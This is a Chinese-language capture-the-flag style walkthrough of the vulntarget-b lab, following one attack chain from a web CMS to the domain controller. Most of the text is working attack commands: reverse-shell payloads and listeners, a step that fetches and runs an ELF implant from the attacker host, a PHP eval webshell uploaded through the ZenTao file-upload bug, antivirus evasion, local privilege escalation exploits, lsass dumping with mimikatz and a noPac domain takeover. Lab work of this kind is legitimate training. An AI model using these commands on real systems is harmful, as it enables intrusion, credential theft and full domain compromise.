vulntarget-b靶场详细通关记录
前言
这个靶场打了好几天才打下来,在上线msf和免杀过火绒还有psexec横向移动中卡了很久。而且这个靶场的通关资料较少,吐槽一下网上的相关文章很多关键步骤都不写而且复现不成功。以下将记录个人通关vulntarget-b靶场的详细过程。
攻击手段
1.CMS极致后台getshell
2.Bypass disable_functions绕过
3.CVE-2021-4034提权漏洞(Polkit)
4.msf Socks5代理
5.CNVD-C-2020-121325禅道PMS任意文件上传漏洞
6.LCX多层端口转发
7.木马ShellCode免杀过火绒上线msf
8.CVE-2021-1732 提权漏洞 蔓灵花(BITTER)
9.利用注册表和procdump mimikatz离线获取凭证
10.CVE-2021-42287&CVE-2021-42278
11.psexec横向移动拿下域控
网络环境
域控(Win2016)
vulntarget\administrator:Admin@123、(首次登陆要改密码修改为Admin@123@)
vulntarget\win101:admin#123
内网ip:10.0.10.100
域主机(Win10)
win10:win10#123、
administrator:admin@123
内网ip:10.0.20.66 、10.0.10.99
Web服务器(CentOS)
root:root
外网ip:192.168.0.104
内网ip:10.0.20.30
攻击机(kali)
192.168.0.128
外网渗透
web服务器CMS极致后台getshell
全面扫描Web服务器端口
nmap -sV -A -p- 192.168.0.104
扫出21、22、80、81、888、3306、8888端口
访问80端口,识别出安装了宝塔面板
访问81端口,知道了是极致CMS建站
访问8888端口
进入极致CMS后台/admin.php
直接admin:admin123弱口令就进去了
收获到了极致CMS版本信息v1.8.1,经过搜索发现了一个后台在线编辑模板插件getshell的洞
搜索在线编辑模板
下载并安装
之后点击配置
设置密码登录后进入了如下页面
找到index.html写入一句马
利用蚁剑成功远控
Bypass disable_functions
但是连接后执行命令一直显示ret=127,应该是宝塔设置了disable_functions
直接利用Antsword-store中的disable_functions bypass
成功bypass,可以执行函数了
Web服务器上线msf
msf监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.128
set lport 4444
run
生成木马
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.128 lport=4444 -f elf > shell.elf
开启http服务,让受害机下载木马并执行
wget http://192.168.0.128/shell.elf
chmod +x shell.elf
./shell.elf
成功上线msf
提权
因为现在用户是www还需提权到root,我传了个linux-exploit-suggester.sh linux脚本漏洞指针并执行,发现了很多洞
看里面有dirtycow,直接打失败了不知道是哪里的问题
利用msf自带的辅助提权
use multi/recon/local_exploit_suggester
set session 1
run
直接利用第一个打
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session 1
还成了,成功拿到root权限
后面专门搜了一下这个CVE-2021-4034是一个关于环境变量的提权漏洞
内网渗透
发现web服务器的内网ip:10.0.20.30
构建通道
配置路由
run autoroute -s 10.0.20.0/24
run autoroute -p
开启代理,利用msf自带的socks模块
use auxiliary/server/socks_proxy
在这里使用了socks5
jobs
内网探测
利用scanner/portscan/tcp模块简单扫描下常用端口,发现了8080端口
use scanner/portscan/tcp
set rhosts 10.0.20.0/24
set threads 10
set rports 20-500,80,8080,3000-4000
攻击机开启代理,访问80端口发现是禅道PMS
又是弱口令登录后台admin:Admin123
发现版本号为12.4.2,也可以通过/index.php?mode=getconfig接口
对比版本搜索禅道PMS存在的漏洞,发现存在CNVD-C-2020-121325的任意文件上传漏洞
漏洞名称 | 漏洞ID | 影响版本 | 漏洞披露日期 |
---|---|---|---|
禅道 8.2-9.2.1 SQL注入导致前台Getshell | 无 | 禅道开源版 8.2-9.2.1 | 2018 |
禅道 后台代码注入漏洞 | 无 | 禅道开源版 <= 11.6 | 2019 |
禅道 后台任意文件删除漏洞 | 无 | 禅道开源版 <= 11.6 | 2019 |
禅道 后台任意文件读取漏洞 | 无 | 禅道开源版 <= 11.6 | 2019 |
禅道 后台文件包含漏洞 | 无 | 禅道开源版 <= 11.6 | 2019 |
禅道 后台SQL注入漏洞 | 无 | 禅道开源版 <= 11.6 | 2019 |
禅道 任意文件上传漏洞 | CNVD-C-2020-121325 | 10.x < 禅道开源版 < 12.4.3 | 2020 |
禅道 Pro 8.8.2 命令注入漏洞 | CVE-2020-7361 | 禅道Pro <=8.8.2 | 2020 |
复现CNVD-C-2020-121325禅道PMS任意文件上传漏洞
访问如下地址:
http://[目标地址]/index.php?m=client&f=download&version=[$version参数]&[base64加密后的恶意文件地址]
访问后会将文件保存在data/client/1/目录下
首先写一个木马shell.php内容为
<?php @eval($_POST['tpa']);phpinfo();?>
然后上传到控制下来的Web服务器并开启http服务
python -m SimpleHTTPServer 8847
base64编码转换 HTTP需要大写,version随意
HTTP://10.0.20.30:8847/shell.php
SFRUUDovLzEwLjAuMjAuMzA6ODg0Ny9zaGVsbC5waHA
http://10.0.20.66:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzA6ODg0Ny9zaGVsbC5waHA
访问我们生成的木马
进行远控,蚁剑需要设置Socks5的代理
成功远控
在这台域主机上识别出了火绒
免杀过火绒上线msf
隧道搭建思路如下:
将已经拿下shell的web服务器的5555端口转发到kali机的7777端口(一会木马直接反弹7777端口),这里使用了免杀过的工具portmap
./portmap -m 1 -p1 5555 -h1 10.0.20.30 -p2 7777 -h2 192.168.0.128
同时kali机也需要进行端口转发,将本地的7777端口转发到6666端口,之后msf直接监听6666端口,相当于web服务器5555端口监听反弹的效果
./portmap -m 1 -p1 7777 -h1 192.168.0.128 -p2 6666 -h2 192.168.0.128
启动监听,监听本机6666端口
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.128
set lport 6666
生成木马,因为WIN10有火绒,木马需要做下免杀。
还没有系统研究过免杀,随意找了一个22年过火绒和360的免杀shellcode方案,但最新的火绒应该已经把它加入特征库了,但这台服务器的火绒是21年的应该是随便过的。
项目地址:https://github.com/Axx8/Bypass_AV
生成shellcode,生成的木马为5555端口,连接的为10.0.20.30
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.20.30 lport=5555 --encrypt base64 -f c
将生成的字节码复制到py文件shellcode中,py打包exe生成在dist目录下
pyinstaller -F -w Bypass_AV.py
之后将木马上传到WIN10目标运行,成功上线msf
上线后添加路由,添加了10.0.10.0/24网段的路由
run post/multi/manage/autoroute
尝试抓取密码没有权限
load kiwi
creds_all
需要提升到SYSTEM权限,目前只是域内普通用户
CVE-2021-1732提权
查找本地提权辅助
run post/multi/recon/local_exploit_suggester
用第一个第二个模块,都说模块不行没在管理员组里面用不了
最后用CVE-2021-1732漏洞打了进去
use exploit/windows/local/cve_2022_21882_win32k
虽然有这个漏洞,但msf一直不上线…,人麻了
算了直接在靶机上复现一下这个漏洞,github搜索编译了一个exe文件
正常情况下的whoami
跟上cve-2021-1732.exe的whoami
,提升到了system权限
当我们用这个exe执行我们的木马上线的就是system权限,还是如上端口转发搭建隧道
web服务器:
./portmap -m 1 -p1 7776 -h1 10.0.20.30 -p2 6777 -h2 192.168.0.128
Kali机:
./portmap -m 1 -p1 6777 -h1 192.168.0.128 -p2 6779 -h2 192.168.0.128
生成木马(这里为了方便就不做免杀了)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.20.30 lport=7776 -f exe > 7776.exe
设置监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.128
set lport 6778
WIN10机器执行
cve-2021-1732.exe 7776.exe
成功上线
看下权限是system
注册表+procdump+mimikatz获取凭证
拿到system权限后继续creds_all抓取凭证,没抓到什么有用的信息
通过修改注册表看到明文密码,修改注册表后需要注销或重新登录才会生效
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
不修改注册表,直接读取是以下这样的
这里采用Mimikatz离线读取lsass进程抓取密码的方式
上传procdump,利用procdump导出lsass.dmp文件,因为procdump是微软自己的工具一般来说不会被杀
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
下载lsass.dmp文件
download lsass.dmp
下载到本地后。mimikatz读取密码
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
域内信息收集
run post/windows/gather/enum_domain
目前已知信息:
域内账号:win101:admin#123
IP:10.0.10.100
DC:WIN-UH20PRD3EAO
域名:vulntarget.com
CVE-2021-42287&CVE-2021-42278
漏洞探测:通过noPac工具获取TGT,得知请求没有pac的TGT,可以被攻击
noPac.exe scan -domain vulntarget.com -user win101 -pass "admin#123"
使用noPac获得域控cifs权限
noPac.exe -domain vulntarget.com -user win101 -pass admin#123 /dc WIN-UH20PRD3EAO.vulntarget.com /mAccount testTP1235 /mPassword hacker /service cifs /ptt
查看权限
dir \\WIN-UH20PRD3EAO.vulntarget.com\c$
添加一个域管账号,我这里又卡了很久一直添加失败不知道什么原因,重新换参数noPac获得域控cifs权限再执行就好了
net user admin11 123K@!E /add /domain
net group "Domain Admins" admin11 /add /domain
上传PsExec,利用PsExec横向,psexec是微软提供的一个远程命令行工具不会被杀
PsExec.exe -accepteula \\10.0.10.100 -u vulntarget\admin11 -p 123K@!E -s cmd.exe
连不上,修改防火墙策略,开启Win10远程
修改3389防火墙进站规则:
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
开启Win10远程
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
结局依然是连不上,尝试多次无果。最后github上找了个python脚本,kali利用proxychains代理执行直接拿到了域控System权限
proxychains python sam_the_admin.py "vulntarget.com/win101:admin#123" -dc-ip 10.0.10.100 -shell